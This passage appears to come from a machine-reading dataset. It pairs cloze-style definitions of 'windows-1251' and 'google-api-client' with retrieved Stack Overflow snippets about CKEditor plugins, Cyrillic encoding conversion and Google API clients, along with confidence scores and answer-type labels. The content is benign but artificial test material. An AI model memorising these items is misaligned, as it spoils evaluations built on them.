purpose of sorting the element attributes . My clients will be wondering why it shows up in the version comparison tool provided to them . It will be reordered even when they don t change anything .", "Question : null .. . Answer : While developing and testing my custom CKEditor plugins the following Error regularly shows up in the console and prevents to save changes from a plugin dialog . This is really annoying because you have to fill out the dialog window again . I wanted to know why this happens and found the initiator . It would be great if you can help me to solve this issue . .. . .. . Project Environment and how you can reproduce this error .. . .. . CKEditor v4.5.10 .. . Simplebox Plugin from the Tutorial or Github https : github.com ckeditor ckeditor-docs-samples tree master tutorial-simplebox-2 simplebox .. . Load content into the editor . The content should be the same like it is produced by the plugin . So it is similar to saving and loading the data for CKEditor . CKEDITOR.replace editor1 .. . extraPlugins : simplebox .. . .. . CKEDITOR.instances.editor1.setData div class simplebox align-left h2 class simplebox-title Title h2 div class simplebox-content p Content.. . p div div .. . callback : function .. . this.checkDirty true .. . .. . .. . .. . Load the Page with a web browser I use chrome . You will see the simplebox plugin field . Now click the simplebox plugin icon . When clicking ok after inserting the required fields the error will show up in your console and no new simplebox field is shown in your editor . Attention : This will only happen if you do not click into the editor after the page load . Please click the simplebox plugin before you do anything else with the editor . .. . .. . Exactly the same happens with my own plugin and I really need to solve this . .. . .. . Thank you Christoph Comment : I haven t tested your code but by your description that is a bug in the editor itself so you should file a ticket at dev.ckeditor.com http : dev.ckeditor.com I would say that the problem is that the Widget code fails if the editor isn t focused or something like that . Given the complexity of that code it s better that they fix it instead of fighting to find a workaround", "Question : Im using CKeditor version 4.5.8 in inline mode so directly in the content with the contenteditable html attribute . This all works fine except for one thing . I ve added the Image upload http : ckeditor.com addon uploadimage plugin to add support for uploading an image while it s drag dropped in the editor . This all works pretty good except for one thing I can t get to work : when dropping the image in the editor there should be a uploading progressbar tested in Chrome and in Firefox . But instead I almost directly see the message Upload complete . But at that time the upload is not completed I ve added a debugger breakpoint I my code to assure this is the case and the success response is not yet received I see it as Pending in the developer tools Network Tab . . However when I throttle the connection via Chrome dev tools I do see a progressbar however it s not showing the upload progress but a Internal progress of the browser of somekind See screenshot : chrome devtools http : i.stack.imgur.com mCSNg.png .. . .. . Any ideas how to fix this Comment : having the same issue . is your problem is solved Comment : @GiteshPurbia unfortunatly I haven t got the time to check if this was the fix . I think it will take a couple of weeks untill I proceed the development. . Comment : My problem is solved . See the accepted answer and comments below this answer for the explanation . .. . Answer : The progress CKEditor 4 provide is taken from the XHR2 progress event . Note that it may not work properly on the localhost when the upload works immediately . Also I see your images are taken from cache from cache in the 5th column in the Network Debugger . Try to disable cache and check does it helps . Additionally I see your arrows next to data : image jpeg . CKEditor before uploading images loads them locally as BASE 64 data to show user the preview . Then these images are uploaded and the source of the image is replaced . These data is not a real network data it is the content JavaScript loaded locally . Comment : I was testing it on localhost . I ll try it on a server asap to check if this was the problem Comment : Finally got time to test it . This was the case : after deploying to a external server the progress-bar worked as expected . Thanks", "Question : I have been using ckeditor 4 in my CMS and using the template feature to allow the user to add a collection of template styles they ve agreed open in to the editor so they are able to create uniquely styled pages . I have it so they can see the different colours templates within the editor which allows them to see what section there typing content into . enter image description here http : i.stack.imgur.com ng06h.png .. . .. . The problem i m finding is that after its saved and i go back into the editor to add another template it only adds it within a existing template and i am unable to click outside of it . The only way i have to get round it is to copy and paste a section from the source . Is their a way to allow me to click or move the cursor outside the template so i can add another one underneath it and not in it Regards .. . Answer : Add to your editor the Magic Line http : ckeditor.com addon magicline plugin . It adds a floating bar that allows to place the cursor after elements like tables divs .. . Comment : Hi Alfonso thanks for your reply . I thought it might be something with that but it seems to totally ignore my last div as the magic line doesnt get that far . Ill have a look at magicline docs to see if there is a config for it . Comment : Thank you very much . it was partly due to the magic line and also the way ckeditor uses p tags . I added nbsp within them and my templates are now working fine and so is the magic line . What a legend you are . thanks again", "Question : I am trying to integrate CKEditor in Angular App . In CKEditor I am trying to use uploadimage http : docs.ckeditor.com guide dev file-upload . In run method of my app I have written following code to listen the events of CKEditor . In console it is printing CKEditor instance created but not printing Image Uploaded . Somehow it is not listening to fileUploadResponse event . My config file of CKEditor is as follow : .. . .. . Everything is working fine and my image file is also uploading successfully and I am getting following JSON response : .. . .. . But fileUploadResponse is not firing after so many tries . I am not sure which part I am missing . .. . Answer : I think the fileUploadResponse -Event has to be registered on the ckeditor-instance and not on CKEDITOR itself . Comment : Thanks @Benjamin Sch ller for highlighting my mistake . Based on that I am able to solve the issue using ng-ckeditor library . I have added the code in answer .", "Question : I am trying to integrate CKEditor in Angular App . In CKEditor I am trying to use uploadimage http : docs.ckeditor.com guide dev file-upload . In run method of my app I have written following code to listen the events of CKEditor . In console it is printing CKEditor instance created but not printing Image Uploaded . Somehow it is not listening to fileUploadResponse event . My config file of CKEditor is as follow : .. . .. . Everything is working fine and my image file is also uploading successfully and I am getting following JSON response : .. . .. . But fileUploadResponse is not firing after so many tries . I am not sure which part I am missing . .. . Answer : Thanks @Benjamin Sch ller for pointing in right direction . I am using ng-ckeditor https : github.com esvit ng-ckeditor library for CKEditor textaria alog with ng-model data . This library has the directive in which they are initiating the CKEditor instance . All I needed is to get that instance and register fileUploadResponse event to it . Following is my textarea in template html : .. . .. . And in my Angular Controller I am defining editorOptions and binding fileUploadResponse : .. . .. . Following is my JSON response on file-upload : .. . .. . Few things to note here : .. . .. . 1 . You can get instance after CKEditor completely initialized . ng-ckeditor https : github.com esvit ng-ckeditor has broadcast called ckeditor.ready . So on ckeditor.ready you can get instance and bind events specific to the editor . 2 . CKEditor gives name to instance using id of textarea . In my case id is noticeDetails so it will create instance with name noticeDetails . In case you have not given the id then it will create instance with names editor1 editor2 and so on . In my case I am getting the CKEditor instance with noticeDetails name . 3 . CKEditor documentation http : docs.ckeditor.com guide dev file-upload has mentioned example code to handle file-upload response manually . But it is not working . They are binding whole json string to data.message or data.url which is not the way to do as per my experiment . What we need to do is create the JSON object from response string and appropriately get the message or url from that JSON object and bind it with data object as shown in above code .", "Question : null .. . Answer : If I make a very simple plugin based on the timestamp plugin tutorial http : docs.ckeditor.com guide plugin sdk sample and modify it to insert HTML http : docs.ckeditor.com api CKEDITOR.editor-method-insertHtml containing a custom reportitem tag that I ve created a ckeditor plugin for I find that this tag is REMOVED from the HTML even if I pass unfiltered html as a parameter . then this gets inserted into ckeditor s HTML source when I click the plugin s button : .. . .. . You ll notice the b and inner span tags are preserved while the reportitem tags are removed . I have my ckeditor configured with allowedContent : true so there is no content filtering going on . Even so I pass unfiltered html when calling insertHTML http : docs.ckeditor.com api CKEDITOR.editor-method-insertHtml . Why are my custom reportitem tags removed Comment : I also tried adding editor.on insertHTML function .. . to listen for insertHTML events for debugging purposes but this never gets triggered . However I do get change and paste events . Bug insertHTML is shown as an event in the ckeditor docs . I am using ckeditor version 4.5.3" ] }
[ "yes-answer-long", "yes-answer-short" ]
javascript
UNK_RELATION
windows-1251@cyrillic@109
windows-1251 -- windows-1251 is a popular 8-bit character-encoding designed to cover languages that use the @placeholder script such as russian bulgarian serbian cyrillic and other languages .
{ "confidence": [ 59.351409912109375, 48.65568542480469, 47.57210159301758, 47.00336456298828, 46.31092071533203, 44.870765686035156, 43.661712646484375, 43.661712646484375, 42.05055618286133, 42.05055618286133, 41.19646072387695, 39.76640701293945, 33.43537902832031, 30.57727813720703, 29.64731216430664, 29.557016372680664, 26.735136032104492, 25.115968704223633, 25.012165069580078, 24.428722381591797, 24.39037322998047, 23.32233428955078, 22.84842300415039, 22.478654861450195, 22.288066864013672, 22.17395782470703, 22.17395782470703, 21.658084869384766, 21.483301162719727, 21.00238037109375, 21.00238037109375, 20.992509841918945, 20.97757339477539, 20.97757339477539, 20.11418914794922, 19.668439865112305, 19.42525291442871, 19.00774383544922, 18.932741165161133, 18.932741165161133, 18.917804718017578, 18.917804718017578, 18.543582916259766, 17.94175910949707, 17.697986602783203, 17.335311889648438, 17.1336612701416, 16.475095748901367, 16.455463409423828, 16.455463409423828, 16.070985794067383, 15.57754135131836, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 15.292549133300781, 13.232780456542969, 13.232780456542969, 13.232780456542969, 13.232780456542969, 13.232780456542969, 13.232780456542969, 13.232780456542969, 13.232780456542969 ], "content": [ "I m trying to parse and escape rows of a CSV file that is stored in Windows-1251 http : en.wikipedia.org wiki Windows-1251 character-encoding .", "I use mb convert encoding string windows-1251 to convert from UTF-8 in my case .", "I also tried .. . .. . But again the out charset is Windows-1251 .", "You know message like you see if encoding for page is windows-1251 but text encoded in utf-8 .", "How can i convert from mysql cp1251 general ci collation Windows-1251 into UTF-8", "Code is very simple and works in most cases : .. . .. . But sometimes exception is thrown at .. . .. . InnerException System.ArgumentException : windows-1251 is not a supported encoding name .", "Does somebody know if it possible to send emails with Mandrill using Windows-1251 charset", "You could try finding it in the HTML source though : .. . .. . System.Text.Encoding : : GetEncoding can cope with a string like windows-1251 at least .", "Let me take you some examples : .. . if page in utf-8 but text in windows-1251 you wil see something like this : .. .", ".. . .. . if page in windows-1251 but text in utf-8 you see this : .. . Apple iPhone 4", "Encoding of the site is still Windows1251 CP-1251 I really don t have time to change it .", "I need to get data from a page that has the win-1251 codepage .", "I use this iconv windows-1251 utf-8 html .. . .. . All text converts correctly but if text for example in tag i .. . i then it don t convert text and I see somethig like this", "But when I try to send cyrillic emails Ukrainian Russian etc it shows me an error You must specify a key value.. . .", "Parameter name : name at System.Globalization.EncodingTable.internalGetCodePageFromName String name at System.Globalization.EncodingTable.GetCodePageFromName String name .. . at System.Net.Http.HttpContent . c DisplayClass1.b 0 Task task System.Exception System.ArgumentException .. . .. . Does HttpClient support 1251 encoding", "And it shows me : .. . .. . Title is Cyrillic .", "To send cyrillic cp1251 emails in Madrill just use iconv-function before any API-call .", "Try converting the message from its current character set to UTF-8 before sending to Mandrill .", "Can I somehow force the builder to use specific encoding", "I always use manual convertation character-by-character like this : .. . .. . p.s .", "You can however convert the text you read : .. . .. . will then yield the proper Cyrillic text .", "I have started to use Mandrill to send all mails from our site but faced a problem with encoding .", "I ve found a lot of material on how to open XML files with certain encoding using Nokogiri : : XML a nil UTF-8 for example but nothing on how to build a valid XML .", "I was installing ruby railsinstaller-windows https : github.com PaulineNemchak railsinstaller-windows on step 9 there was a problem .. . .. .", "I saw this problem in one of my project so just change change encoding for page in utf-8 and this text will shown correctly .", "In this case Mandrill sends letter well but emails are with broken encoding .", "I didn t find an easy way of enforcing a particular encoding for the response .", "The reason of not correct encoding in filename : .. . tmp", "Or does Mandrill allow you to specify the character set of the email", "dont forget the .php file encoding should be UTF8 .", "Most of the solutions lack conversion to single-byte encoding .", "I need always to encode body of email to UTF-8 .", "@halfer I don t see any information about specifying of encoding in Mandrill documentation :", "In any case you need to know the exact encoding beforehand regardless of how you solve it .", "And the answer is mb detect encoding doesn t give you a precise encoding determination of a string", "The only question is why the second echo of .. . .. . is not UTF-8", "Since the encoding is only specified within the HTML and not the response header there s little you can do here I fear as Invoke-WebRequest isn t smart enough to figure that out on its own .", "This is my builder code : .. . .. . My input looks like this it contains always an article number on 1st index then there goes the description from 2nd to N-3 index N-2 till N-1 is amount and Nth index contains the bar code : .. . .. . This leads to stuff like this : .. . .. . Basically I want the description in the XML to show proper cyrillic letters .", "I have a small html code and I need to convert it to UTF-8 .", "Then i do the following : .. . .. . Why the second time the string is not UTF-8", "And in the final result i got broken encoding in my filename which consists of string variable .", "And if you see a strange behavior of the mb detect encoding method don t forget that mb detect encoding doesn t give you a precise encoding determination of a string .", "Here is the locale command result on the server where the file is located : .. . .. . For correct displaying UFT-8 symbols in file names on the server the server locale must be utf-8 too .", "In short words : if you see a proper encoded UTF-8 string on a server in terminal in unreadable symbols check the server locale .", "Get response as IBuffer and then convert using .NET encoding classes :", "That helps us help you and provides others who are searching for a similar answer an idea of how your code will fit their use-case .", "On the other hand str.format doesn t accept unicode strings as parameters .", "Using this excellent answer http : stackoverflow.com a 5021445 16959 to deal with this encoding I ve ended up with this one line to test the output for some reason this works : .. . .. . Outputting : .. . .. . While this line doesn t work : .. . .. . Outputting this error : .. . .. . Here are the first 2 lines of the CSV : .. . .. . and in case it helps here is the full source of Russian.py :", "Concatenation on the other hand can implicitly decode to produce a final unicode object result .", "And + only works fine between unicode and str in the same sense because it encode s one or decode s the other .", "Use unicode.format instead : .. . .. . Note the u before the format literal .", "Moral of the story : use Unicode string-literals throughout your code when handling text .", "I can send emails in English .", "How can I fix it", "Any advice will be useful", "Code is below :", "Can we see your code that calls Mandrill edited into the question", "@halfer Code have been added", "Look at iconv https : php.net manual en function.iconv.php for this .", "Found", "Yes this is exactly what I suggested : - .", "@halfer Yes thank you so much", "I have given you a point", ":", "I have tried the variant below but the result is the same .", "The -ContentType parameter to Invoke-WebRequest sets the content-type for the request not the response .", "Since you don t sent any content with your request it s quite irrelevant here .", "Thank you for answer", "My working variant : .. . .. . Thanks Joey for help", "I am trying to create an XML file from an array .", "Surprisingly enough if I omit the code block on my text SO displays my text just fine .", "Welcome to Stack Overflow .", "Please provide the minimal input data and the expected output .", "Also in Ruby methods and variables are written in snake case not camelCase .", "It s a matter of readability AndCodeStyleInTheCommunity .", "Do you really want force encoding rather than encode", "@FrederickCheung I tried both but it didn t work .", "@theTinMan Thank your for your feedback updated my question .", "After hours of trying found this post - How do I encode decode HTML entities in Ruby", "http : stackoverflow.com questions 1600526 how-do-i-encode-decode-html-entities-in-ruby .. . .. . You need do decode such values as x421 according to this table : http : webdesign.about.com od localization l blhtmlcodes-ru.htm .. . .. . CGI didn t help me but HTMLEntities did .", "This is my working code right now : .. . .. . And finally the desired output :", "please provide the string that you re trying to convert .", "If you have access to the Multibye package you can try it .", "See the PHP page here : http : www.php.net manual en function.mb-convert-encoding.php", "That text was from XML file and problem was only with html tags .", "also in the head of HTML insert standard declaration for UTF8", "Because you got lucky .", "Always treat text as Unicode except at the edges decode at ingest encode when producing your final output .", "print u 0 1 .format row you are trying to to encode as ascii using str.format ." ] }
{ "confidence": [ 75.05492401123047, 66.97258758544922, 65.70242309570312, 64.10039520263672, 61.429481506347656, 55.68883514404297, 54.99269485473633, 54.632568359375, 53.08055877685547, 52.798057556152344, 51.20122146606445, 49.60501480102539, 30.88455581665039, 18.82073974609375 ], "content": [ "Question : I have started to use Mandrill to send all mails from our site but faced a problem with encoding . Encoding of the site is still Windows1251 CP-1251 I really don t have time to change it . I can send emails in English . But when I try to send cyrillic emails Ukrainian Russian etc it shows me an error You must specify a key value.. . . I need always to encode body of email to UTF-8 . In this case Mandrill sends letter well but emails are with broken encoding . Does somebody know if it possible to send emails with Mandrill using Windows-1251 charset How can I fix it Any advice will be useful Code is below : Comment : Can we see your code that calls Mandrill edited into the question Comment : @halfer Code have been added Comment : Try converting the message from its current character set to UTF-8 before sending to Mandrill . Look at iconv https : php.net manual en function.iconv.php for this . Comment : Or does Mandrill allow you to specify the character set of the email Comment : @halfer I don t see any information about specifying of encoding in Mandrill documentation : .. . Answer : Found To send cyrillic cp1251 emails in Madrill just use iconv-function before any API-call . Comment : Yes this is exactly what I suggested : - . Comment : @halfer Yes thank you so much I have given you a point :", "Question : I have a small html code and I need to convert it to UTF-8 . I use this iconv windows-1251 utf-8 html .. . .. . All text converts correctly but if text for example in tag i .. . i then it don t convert text and I see somethig like this Comment : please provide the string that you re trying to convert . .. . Answer : You know message like you see if encoding for page is windows-1251 but text encoded in utf-8 . I saw this problem in one of my project so just change change encoding for page in utf-8 and this text will shown correctly . Let me take you some examples : .. . if page in utf-8 but text in windows-1251 you wil see something like this : .. . .. . .. . if page in windows-1251 but text in utf-8 you see this : .. . Apple iPhone 4 Comment : That text was from XML file and problem was only with html tags .", "Question : I need to get data from a page that has the win-1251 codepage . And it shows me : .. . .. . Title is Cyrillic . I have tried the variant below but the result is the same . .. . Answer : The -ContentType parameter to Invoke-WebRequest sets the content-type for the request not the response . Since you don t sent any content with your request it s quite irrelevant here . I didn t find an easy way of enforcing a particular encoding for the response . Since the encoding is only specified within the HTML and not the response header there s little you can do here I fear as Invoke-WebRequest isn t smart enough to figure that out on its own . You can however convert the text you read : .. . .. . will then yield the proper Cyrillic text . In any case you need to know the exact encoding beforehand regardless of how you solve it . You could try finding it in the HTML source though : .. . .. . System.Text.Encoding : : GetEncoding can cope with a string like windows-1251 at least . Comment : Thank you for answer", "Question : I have a small html code and I need to convert it to UTF-8 . I use this iconv windows-1251 utf-8 html .. . .. . All text converts correctly but if text for example in tag i .. . i then it don t convert text and I see somethig like this Comment : please provide the string that you re trying to convert . .. . Answer : Most of the solutions lack conversion to single-byte encoding . I use mb convert encoding string windows-1251 to convert from UTF-8 in my case .", "Question : I have a small html code and I need to convert it to UTF-8 . I use this iconv windows-1251 utf-8 html .. . .. . All text converts correctly but if text for example in tag i .. . i then it don t convert text and I see somethig like this Comment : please provide the string that you re trying to convert . .. . Answer : I always use manual convertation character-by-character like this : .. . .. . p.s . dont forget the .php file encoding should be UTF8 . also in the head of HTML insert standard declaration for UTF8", "Question : I am writing WinPhone 8.1 app . Code is very simple and works in most cases : .. . .. . But sometimes exception is thrown at .. . .. . InnerException System.ArgumentException : windows-1251 is not a supported encoding name . Parameter name : name at System.Globalization.EncodingTable.internalGetCodePageFromName String name at System.Globalization.EncodingTable.GetCodePageFromName String name .. . at System.Net.Http.HttpContent . c DisplayClass1.b 0 Task task System.Exception System.ArgumentException .. . .. . Does HttpClient support 1251 encoding And if it doesn t how can I avoid this problem Or is it target page problem Or am I wrong in something .. . Answer : Get response as IBuffer and then convert using .NET encoding classes : Comment : Thanks a lot it works The only difference was : byte bytes await response.Content.ReadAsByteArrayAsync", "Question : I have a mysql varchar 50 row in cp1251 general ci collation . After mysql fetch row in php i got a string . Then i do the following : .. . .. . Why the second time the string is not UTF-8 I also tried .. . .. . But again the out charset is Windows-1251 . And in the final result i got broken encoding in my filename which consists of string variable . How can i convert from mysql cp1251 general ci collation Windows-1251 into UTF-8 P.S . But .. . .. . creates a file .. . tmp .log in linux Comment : What exactly is the content of the string What s its hex value echo bin2hex string Comment : I updated my question after your comment .. . Answer : Found the reason of this strange situation In short words : if you see a proper encoded UTF-8 string on a server in terminal in unreadable symbols check the server locale . And if you see a strange behavior of the mb detect encoding method don t forget that mb detect encoding doesn t give you a precise encoding determination of a string . The reason of not correct encoding in filename : .. . tmp .log file is the locale on the server Here is the locale command result on the server where the file is located : .. . .. . For correct displaying UFT-8 symbols in file names on the server the server locale must be utf-8 too . And about all the converting in the question . Both methods : .. . .. . and .. . .. . works fine in this case . The only question is why the second echo of .. . .. . is not UTF-8 And the answer is mb detect encoding doesn t give you a precise encoding determination of a string", "Question : I need to get data from a page that has the win-1251 codepage . And it shows me : .. . .. . Title is Cyrillic . I have tried the variant below but the result is the same . .. . Answer : My working variant : .. . .. . Thanks Joey for help", "Question : I m trying to parse and escape rows of a CSV file that is stored in Windows-1251 http : en.wikipedia.org wiki Windows-1251 character-encoding . Using this excellent answer http : stackoverflow.com a 5021445 16959 to deal with this encoding I ve ended up with this one line to test the output for some reason this works : .. . .. . Outputting : .. . .. . While this line doesn t work : .. . .. . Outputting this error : .. . .. . Here are the first 2 lines of the CSV : .. . .. . and in case it helps here is the full source of Russian.py : Comment : Because you got lucky . Always treat text as Unicode except at the edges decode at ingest encode when producing your final output . Comment : print u 0 1 .format row you are trying to to encode as ascii using str.format . Comment : @PadraicCunningham Thanks for destroying my dreams when I thought I got the answer and was so proud of myself Comment : @Zizouz212 this is true the answer just as to be correct and first . Something tells me Padraic Cunningham can weather a few stolen answers if you are trying to build up your Python rep : Comment : Yaay I m so happy .. . Answer : You are using str.format which converts unicode to str implicitly . It has to do so to be able to interpolate values into the template provided . Use unicode.format instead : .. . .. . Note the u before the format literal . unicode.format has to decode str inputs to fit in the resulting Unicode output . Concatenation on the other hand can implicitly decode to produce a final unicode object result . Had your value contained non-ASCII bytes that implicit decoding would also fail . Moral of the story : use Unicode string-literals throughout your code when handling text .", "Question : I m trying to parse and escape rows of a CSV file that is stored in Windows-1251 http : en.wikipedia.org wiki Windows-1251 character-encoding . Using this excellent answer http : stackoverflow.com a 5021445 16959 to deal with this encoding I ve ended up with this one line to test the output for some reason this works : .. . .. . Outputting : .. . .. . While this line doesn t work : .. . .. . Outputting this error : .. . .. . Here are the first 2 lines of the CSV : .. . .. . and in case it helps here is the full source of Russian.py : Comment : Because you got lucky . Always treat text as Unicode except at the edges decode at ingest encode when producing your final output . Comment : print u 0 1 .format row you are trying to to encode as ascii using str.format . Comment : @PadraicCunningham Thanks for destroying my dreams when I thought I got the answer and was so proud of myself Comment : @Zizouz212 this is true the answer just as to be correct and first . Something tells me Padraic Cunningham can weather a few stolen answers if you are trying to build up your Python rep : Comment : Yaay I m so happy .. . Answer : the + operand works fine between a unicode string and an str string . On the other hand str.format doesn t accept unicode strings as parameters . Thus you can simply replace the problematic line with the following : .. . .. . That should do the trick . Comment : This is wrong . str.format does accept unicode strings as parameters it just encode s them . And + only works fine between unicode and str in the same sense because it encode s one or decode s the other .", "Question : I m trying to parse and escape rows of a CSV file that is stored in Windows-1251 http : en.wikipedia.org wiki Windows-1251 character-encoding . Using this excellent answer http : stackoverflow.com a 5021445 16959 to deal with this encoding I ve ended up with this one line to test the output for some reason this works : .. . .. . Outputting : .. . .. . While this line doesn t work : .. . .. . Outputting this error : .. . .. . Here are the first 2 lines of the CSV : .. . .. . and in case it helps here is the full source of Russian.py : Comment : Because you got lucky . Always treat text as Unicode except at the edges decode at ingest encode when producing your final output . Comment : print u 0 1 .format row you are trying to to encode as ascii using str.format . Comment : @PadraicCunningham Thanks for destroying my dreams when I thought I got the answer and was so proud of myself Comment : @Zizouz212 this is true the answer just as to be correct and first . Something tells me Padraic Cunningham can weather a few stolen answers if you are trying to build up your Python rep : Comment : Yaay I m so happy .. . Answer : The strings in your list were likely already unicode so you didn t get an issue . But here we are trying to add unicode to a normal string That s why you get the UnicodeEncodeError . So just change it to : Comment : This doesn t really explain why the first version works . It s still adding unicode to str then adding the result to unicode . Martijn Pieters answer http : stackoverflow.com a 30469184 908494 explains why that s OK because in this case it ends up decoding the .", "Question : I have a small html code and I need to convert it to UTF-8 . I use this iconv windows-1251 utf-8 html .. . .. . All text converts correctly but if text for example in tag i .. . i then it don t convert text and I see somethig like this Comment : please provide the string that you re trying to convert . .. . Answer : If you have access to the Multibye package you can try it . See the PHP page here : http : www.php.net manual en function.mb-convert-encoding.php", "Question : I am trying to create an XML file from an array . This is my builder code : .. . .. . My input looks like this it contains always an article number on 1st index then there goes the description from 2nd to N-3 index N-2 till N-1 is amount and Nth index contains the bar code : .. . .. . This leads to stuff like this : .. . .. . Basically I want the description in the XML to show proper cyrillic letters . Can I somehow force the builder to use specific encoding I ve found a lot of material on how to open XML files with certain encoding using Nokogiri : : XML a nil UTF-8 for example but nothing on how to build a valid XML . Surprisingly enough if I omit the code block on my text SO displays my text just fine . Comment : Welcome to Stack Overflow . Please provide the minimal input data and the expected output . That helps us help you and provides others who are searching for a similar answer an idea of how your code will fit their use-case . Comment : Also in Ruby methods and variables are written in snake case not camelCase . It s a matter of readability AndCodeStyleInTheCommunity . Comment : Do you really want force encoding rather than encode Comment : @FrederickCheung I tried both but it didn t work . Comment : @theTinMan Thank your for your feedback updated my question . .. . Answer : After hours of trying found this post - How do I encode decode HTML entities in Ruby http : stackoverflow.com questions 1600526 how-do-i-encode-decode-html-entities-in-ruby .. . .. . You need do decode such values as x421 according to this table : http : webdesign.about.com od localization l blhtmlcodes-ru.htm .. . .. . CGI didn t help me but HTMLEntities did . This is my working code right now : .. . .. . And finally the desired output :", "Question : I don t know much about this stuff help me please . I was installing ruby railsinstaller-windows https : github.com PaulineNemchak railsinstaller-windows on step 9 there was a problem .. . .. . enter image description here http : i.stack.imgur.com 5BTvR.jpg .. . .. . What should I do I need a good explanation . .. . Answer : I guess that happens because the path where you are installing Ruby contains non-ASCII characters i.e . your username try to rename it . Comment : yes i guess too but is there another way to solve the problem Comment : @ try to clone repo into different folder and install from there ." ] }
[ "yes-answer-long", "yes-answer-short" ]
cyrillic
UNK_RELATION
google-api-client@entry-point@51
google-api-client -- the googleapiclient the main @placeholder for google-play-services integration .
{ "confidence": [ 40.408119201660156, 38.112998962402344, 38.112998962402344, 37.10871505737305, 35.374481201171875, 34.928306579589844, 34.694801330566406, 34.46531677246094, 34.269439697265625, 34.01472854614258, 33.634315490722656, 33.4598388671875, 33.27594757080078, 33.230194091796875, 33.056434631347656, 33.056434631347656, 32.46873474121094, 32.215084075927734, 32.11885070800781, 32.02366638183594, 31.810028076171875, 31.795604705810547, 31.704389572143555, 31.554386138916016, 31.093610763549805, 31.02651596069336, 30.99852752685547, 30.72522735595703, 30.543052673339844, 30.444894790649414, 30.436668395996094, 30.34555435180664, 30.34555435180664, 30.34555435180664, 30.34555435180664, 30.197660446166992, 30.121009826660156, 30.112857818603516, 30.018810272216797, 29.95853042602539, 29.80957794189453, 29.749347686767578, 29.49722671508789, 29.465621948242188, 29.384212493896484, 29.205284118652344, 29.205284118652344, 29.11493682861328, 29.11493682861328, 29.11493682861328, 29.053821563720703, 28.97122573852539, 28.91905975341797, 28.911598205566406, 28.911598205566406, 28.903888702392578, 28.78094482421875, 28.78094482421875, 28.78094482421875, 28.312801361083984, 28.283935546875, 28.27387237548828, 28.214820861816406, 28.192724227905273, 28.146617889404297, 27.99522590637207, 27.99522590637207, 27.99522590637207, 27.99522590637207, 27.877403259277344, 27.725860595703125, 27.725860595703125, 27.643543243408203, 27.643543243408203, 27.581995010375977, 27.33913803100586, 27.330718994140625, 27.323955535888672, 27.323955535888672, 27.173219680786133, 27.118350982666016, 27.118350982666016, 27.118350982666016, 27.118350982666016, 27.05583953857422, 26.702957153320312, 26.694015502929688, 26.63113784790039, 26.63113784790039, 26.63113784790039, 26.5687313079834, 26.568309783935547, 26.55986213684082, 26.55986213684082, 26.55986213684082, 26.546127319335938, 26.546127319335938, 26.544029235839844, 26.455753326416016 ], "content": [ "Google Drive API Client Library .", "The docs page is here http : www.rubydoc.info github google google-api-ruby-client Google 2FApis 2FCalendarV3 2FCalendarService 3Ainsert calendar .", "It s in this file https : github.com google google-api-ruby-client blob 4e19ae601f6b7893ed7e388a119e1c6ce0d5bde7 generated google apis calendar v3 service.rb .", "I ve installed Android support repository Google play services Google repository .", "github.com google google-api-php-client https : github.com google google-api-php-client - has no this class", "you can see this link : Android Studio with Google Play Services http : stackoverflow.com questions 16624827 android-studio-with-google-play-services .. . .. . at the end If that not work .", "Since the usage isn t particularly clear from this documentation I went to the google-api-client https : github.com google google-api-ruby-client blob 4e19ae601f6b7893ed7e388a119e1c6ce0d5bde7 generated google apis calendar v3 service.rb source on Github and used the search this repository tool to find where insert calendar is defined .", "every step of implementing google-play-services is requiring stack-overflow research to fix weird errors .", "I am using the google-code sample for the google-calendar api .", "Yes my problem was Google Play Services", "Does Someone know where I can find the documentation about Google : : Apis : : SheetsV4 of the google-api-client gem in ruby", "Trace : .. . .. . My Service class : the print out in the try for the client is always : true regardless if google-play-services crashes or not .", "Sometimes Google Play Services gives the crash popup on application-start .", "I was looking in the following URL but there is nothing related to Sheets : http : www.rubydoc.info github google google-api-ruby-client Google Apis .. . .. . I need to know the exact methods to add a chart in the Sheets .", "Is there another way to connect Google API client", "I am using Google API PHP Client .", "As a result it wasn t the Google Drive API which was buggy .", "I m trying to use the google-api-client http : code.google.com p google-api-ruby-client gem to access the Google Search API for Shopping https : developers.google.com shopping-search .", "I tried to install google-api c++ library downloaded from https : github.com google google-api-cpp-client .", "The problem seems to lie in communicating with the Google API Client and or Locationservices API .", "java.lang.IllegalStateException : GoogleApiClient is not configured to use the Games Api .", "My meaning is to create one class that provide google-api-client object and also responsible to connect disconnect google-api-client object .", "There is an issue on the GitHub repo for google-api-ruby-client https : github.com google google-api-ruby-client issues 253 for the problem you ve described .", "Google Contacts API version 3.0 https : developers.google.com google-apps contacts v3 .. . .. . The Google Contacts API allows client applications to view and update a user s contacts .", "Hello all i am using google sign-in integration in my android app and everything is working fine but actually i also want to get user date-of-birth and his gender now does google provide this if google provides this then what should i define in scopes inside my googleapiclient builder.My code for getting default-sign-in information is given below please tell me where should i use above two scopes to fetch them from api .", "So if we need to access Google Plus Domains API how do we do it using GoogleApiClient https : developer.android.com reference com google android gms common api GoogleApiClient.html object in android", "I have created a repo at github with a simple app that shows the problem : github.com friedger google-api-client-example issues 1 https : github.com friedger google-api-client-example issues 1", "I m trying to get a user s profile using the new Google Sign In API introduced in play services 8.3 .", "Here https : github.com google google-api-ruby-client blob master generated google apis webmasters v3 service.rb L86 is the method definition .", "I m using the google-api-ruby-client https : github.com google google-api-ruby-client to add a webhook to a calendar but I m running into a Google : : Apis : : ClientError : pushWebhookBadDomain .", "This code is supposed to make a new calendar using the google-calendar api .", "TL DR GoogleFit Api client does not connect if is signed in with Google+ .. . .. . So.. .", "I am using the google-api-client gem to run analytics calls .", "what do you mean by use one object of Google API client", "and all these class will use one class that provider google-api-client object .", "I m using signet https : github.com google signet and google-api-ruby-client https : github.com google google-api-ruby-client to integrate with Google Analytics api .. . .. . wrote the following code : .. . .. . end .. . .. . I m getting to the callback and getting an Google : : Apis : : AuthorizationError at ga callback error as response from calling list account summaries .", "The release of the Google PHP client library might be old so you ll want to checkout the source at https : code.google.com p google-api-php-client", "Google Speech Alpha API isn t part of the apps-script side of Google so the question has a wrong tag .", "Also this answer http : stackoverflow.com a 16990087 